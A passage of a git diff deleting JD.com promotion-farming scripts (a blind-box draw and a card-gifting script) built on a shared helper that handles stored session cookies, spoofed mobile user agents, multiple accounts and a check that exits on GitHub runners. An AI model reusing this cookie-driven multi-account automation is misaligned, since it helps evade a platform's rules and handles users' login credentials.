catch { - return e; - } - } - - toStr(t, e = null) { - try { - return JSON.stringify(t); - } catch { - return e; - } - } - - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) - try { - s = JSON.parse(this.getdata(t)); - } catch {} - return s; - } - - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e); - } catch { - return !1; - } - } - - getScript(t) { - return new Promise((e) => { - this.get({ url: t }, (t, s, i) => e(i)); - }); - } - - runScript(t, e) { - return new Promise((s) => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); - const [o, h] = i.split("@"), - n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { script_text: t, mock_type: "cron", timeout: r }, - headers: { "X-Key": o, Accept: "*/*" }, - }; - this.post(n, (t, e, i) => s(i)); - }).catch((t) => this.logErr(t)); - } - - loaddata() { - if (!this.isNode()) return {}; - { - (this.fs = this.fs ? this.fs : require("fs")), - (this.path = this.path ? this.path : require("path")); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; - { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)); - } catch (t) { - return {}; - } - } - } - } - - writedata() { - if (this.isNode()) { - (this.fs = this.fs ? this.fs : require("fs")), - (this.path = this.path ? this.path : require("path")); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s - ? this.fs.writeFileSync(t, r) - : i - ? this.fs.writeFileSync(e, r) - : this.fs.writeFileSync(t, r); - } - } - - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) if (((r = Object(r)[t]), void 0 === r)) return s; - return r; - } - - lodash_set(t, e, s) { - return Object(t) !== t - ? t - : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), - (e - .slice(0, -1) - .reduce( - (t, s, i) => - Object(t[s]) === t[s] - ? t[s] - : (t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}), - t - )[e[e.length - 1]] = s), - t); - } - - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), - r = s ? this.getval(s) : ""; - if (r) - try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e; - } catch (t) { - e = ""; - } - } - return e; - } - - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), - o = this.getval(i), - h = i ? ("null" === o ? null : o || "{}") : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), i)); - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), (s = this.setval(JSON.stringify(o), i)); - } - } else s = this.setval(t, e); - return s; - } - - getval(t) { - return this.isSurge() || this.isLoon() - ? $persistentStore.read(t) - : this.isQuanX() - ? $prefs.valueForKey(t) - : this.isNode() - ? ((this.data = this.loaddata()), this.data[t]) - : (this.data && this.data[t]) || null; - } - - setval(t, e) { - return this.isSurge() || this.isLoon() - ? $persistentStore.write(t, e) - : this.isQuanX() - ? $prefs.setValueForKey(t, e) - : this.isNode() - ? ((this.data = this.loaddata()), - (this.data[e] = t), - this.writedata(), - !0) - : (this.data && this.data[e]) || null; - } - - initGotEnv(t) { - (this.got = this.got ? this.got : require("got")), - (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), - (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), - t && - ((t.headers = t.headers ? t.headers : {}), - void 0 === t.headers.Cookie && - void 0 === t.cookieJar && - (t.cookieJar = this.ckjar)); - } - - get(t, e = () => {}) { - t.headers && - (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), - this.isSurge() || this.isLoon() - ? (this.isSurge() && - this.isNeedRewrite && - ((t.headers = t.headers || {}), - Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), - $httpClient.get(t, (t, s, i) => { - !t && s && ((s.body = i), (s.statusCode = s.status)), e(t, s, i); - })) - : this.isQuanX() - ? (this.isNeedRewrite && - ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), - $task.fetch(t).then( - (t) => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o); - }, - (t) => e(t) - )) - : this.isNode() && - (this.initGotEnv(t), - this.got(t) - .on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"] - .map(this.cktough.Cookie.parse) - .toString(); - s && this.ckjar.setCookieSync(s, null), - (e.cookieJar = this.ckjar); - } - } catch (t) { - this.logErr(t); - } - }) - .then( - (t) => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o, - } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o); - }, - (t) => { - const { message: s, response: i } = t; - e(s, i, i && i.body); - } - )); - } - - post(t, e = () => {}) { - if ( - (t.body && - t.headers && - !t.headers["Content-Type"] && - (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), - t.headers && delete t.headers["Content-Length"], - this.isSurge() || this.isLoon()) - ) - this.isSurge() && - this.isNeedRewrite && - ((t.headers = t.headers || {}), - Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), - $httpClient.post(t, (t, s, i) => { - !t && s && ((s.body = i), (s.statusCode = s.status)), e(t, s, i); - }); - else if (this.isQuanX()) - (t.method = "POST"), - this.isNeedRewrite && - ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), - $task.fetch(t).then( - (t) => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o); - }, - (t) => e(t) - ); - else if (this.isNode()) { - this.initGotEnv(t); - const { url: s, ...i } = t; - this.got.post(s, i).then( - (t) => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o); - }, - (t) => { - const { message: s, response: i } = t; - e(s, i, i && i.body); - } - ); - } - } - - time(t, e = null) { - const s = e ? new Date(e) : new Date(); - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds(), - }; - /(y+)/.test(t) && - (t = t.replace( - RegExp.$1, - (s.getFullYear() + "").substr(4 - RegExp.$1.length) - )); - for (let e in i) - new RegExp("(" + e + ")").test(t) && - (t = t.replace( - RegExp.$1, - 1 == RegExp.$1.length - ? i[e] - : ("00" + i[e]).substr(("" + i[e]).length) - )); - return t; - } - - msg(e = t, s = "", i = "", r) { - const o = (t) => { - if (!t) return t; - if ("string" == typeof t) - return this.isLoon() - ? t - : this.isQuanX() - ? { "open-url": t } - : this.isSurge() - ? { url: t } - : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { openUrl: e, mediaUrl: s }; - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { "open-url": e, "media-url": s }; - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { url: e }; - } - } - }; - if ( - (this.isMute || - (this.isSurge() || this.isLoon() - ? $notification.post(e, s, i, o(r)) - : this.isQuanX() && $notify(e, s, i, o(r))), - !this.isMuteLog) - ) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), - s && t.push(s), - i && t.push(i), - console.log(t.join("\n")), - (this.logs = this.logs.concat(t)); - } - } - - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)); - } - - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s - ? this.log("", `❗️${this.name}, 错误!`, t.stack) - : this.log("", `❗️${this.name}, 错误!`, t); - } - - wait(t) { - return new Promise((e) => setTimeout(e, t)); - } - - done(t = {}) { - const e = new Date().getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), - this.log(), - (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); - } - })(t, e); -} -function random(min, max) { - return Math.floor(Math.random() * (max - min)) + min; -} -function getCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - // $.log(err) - $.getCodeListerr = false - } else { - if (data) data = JSON.parse(data) - $.getCodeListerr = true - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} \ No newline at end of file diff --git a/activity/jd_mh.js b/activity/jd_mh.js deleted file mode 100644 index 9ce0728..0000000 --- a/activity/jd_mh.js +++ /dev/null @@ -1,294 +0,0 @@ -/* -盲盒抽京豆 -活动时间:2021年1月6日~2021年2月5日 -更新地址:jd_mh.js -活动入口:https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#盲盒抽京豆 -1 7 * * * jd_mh.js, tag=盲盒抽京豆, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_mh.jpg, enabled=true - -================Loon============== -[Script] -cron "1 7 * * *" script-path=jd_mh.js,tag=盲盒抽京豆 - -===============Surge================= -盲盒抽京豆 = type=cron,cronexp="1 7 * * *",wake-system=1,timeout=200,script-path=jd_mh.js - -============小火箭========= -盲盒抽京豆 = type=cron,script-path=jd_mh.js, cronexpr="1 8,12,18* * *", timeout=200, enable=true - */ -const $ = new Env('盲盒抽京豆'); -const notify = $.isNode() ? require('../sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; - if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0 - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdMh() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdMh() { - await getInfo() - await getUserInfo() - while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { - await draw() - await getUserInfo() - await $.wait(500) - } - await showMsg(); -} - -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得${$.beans}京豆` - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} - -function getInfo() { - return new Promise(resolve => { - $.get({ - url: 'https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd', - headers: { - Cookie: cookie - } - }, (err, resp, data) => { - try { - $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) - $.prize = JSON.parse($.info.prize) - resolve() - } catch (e) { - console.log(e) - } - }) - }) -} - -function getUserInfo() { - return new Promise(resolve => { - $.get(taskUrl('query'), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data - // console.log(`您的好友助力码为${$.userInfo.shareid}`) - console.log(`当前幸运值:${$.userInfo.bless}`) - for (let task of $.info.config.tasks) { - if (!$.userInfo.complete_task_list.includes(task['_id'])) { - console.log(`去做任务${task['_id']}`) - await doTask(task['_id']) - await $.wait(500) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function doTask(taskId) { - let body = `task_bless=10&taskid=${taskId}` - return new Promise(resolve => { - $.get(taskUrl('completeTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (data.data.complete_task_list.includes(taskId)) { - console.log(`任务完成成功,当前幸运值${data.data.curbless}`) - $.userInfo.bless = data.data.curbless - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function draw() { - return new Promise(resolve => { - $.get(taskUrl('draw'), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (data.data.drawflag) { - if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { - console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) - $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body = '') { - body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` - return { - url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, - headers: { - 'Host': 'wq.jd.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/json;charset=utf-8', - 'Origin': 'wq.jd.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, - 'Cookie': cookie - } - } -} - -function taskPostUrl(function_id, body) { - return { - url: `https://lzdz-isv.isvjcloud.com/${function_id}`, - body: body, - headers: { - 'Host': 'lzdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://lzdz-isv.isvjcloud.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, - 'Cookie': `${cookie} isvToken=${$.isvToken};` - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_mhyyl_sendCard.js b/activity/jd_mhyyl_sendCard.js deleted file mode 100644 index fc338a4..0000000 --- a/activity/jd_mhyyl_sendCard.js +++ /dev/null @@ -1,240 +0,0 @@ -/* -萌虎摇摇乐送卡,一次性脚本,需要就运行下,不用加定时 -环境变量:SSCK,从第几个CK开始送卡,例如你有5个CK,BYTYPE填2,则会获取前2个CK的卡片缺失情况,然后若后3个ck有前2个ck缺失的卡,则会赠送(一张卡也会送) -PS:一旦开始执行脚本,则不要暂停,暂停可能导致卡片消失 -https://raw.githubusercontent.com/star261/jd/main/scripts/jd_mhyyl_sendCard.js -* */ -const $ = new Env('萌虎摇摇乐送卡'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const SSCK = $.isNode() ? (process.env.SSCK ? process.env.SSCK : `***`):`***`; -let cookiesArr = []; -let needKardInfo = {}; -let haveCardInfo = {}; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - if(Date.now() > 1643587200000){ - console.log(`活动结束`); - return ; - } - if(SSCK === '***'){ - console.log(`请先设置环境变量【SSCK】`); - console.log(`环境变量:SSCK,从第几个CK开始送卡,例如你有5个CK,BYTYPE填2,则会获取前2个CK的卡片缺失情况,然后若后3个ck有前2个ck缺失的卡,则会赠送(一张卡也会送`); - return - } - console.log(`\n===========================获取账号卡片缺失情况===========================\n`); - for (let i = 0; i < cookiesArr.length && i< Number(SSCK); i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - await main($.cookie,1); - } - await $.wait(1000) - } - console.log(`\n===========================赠送卡片===========================\n`); - for (let i = Number(SSCK); i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - let runFg = false; - for(let cardName in needKardInfo){ - let oneCardInfo = needKardInfo[cardName]; - for(let needUser in oneCardInfo){ - if(needUser !== $.UserName){ - let oneInfo = oneCardInfo[needUser]; - if(oneInfo.flag === '1'){ - runFg = true; - } - } - } - } - if(runFg){ - await main($.cookie,2); - await $.wait(1000) - }else{ - // console.log(`\n${$.UserName},没有多余卡片赠送`); - } - } - } - console.log(`\n===========================领取赠送的卡片===========================\n`); - for (let i = 0; i < cookiesArr.length && i< Number(SSCK); i++) { - if 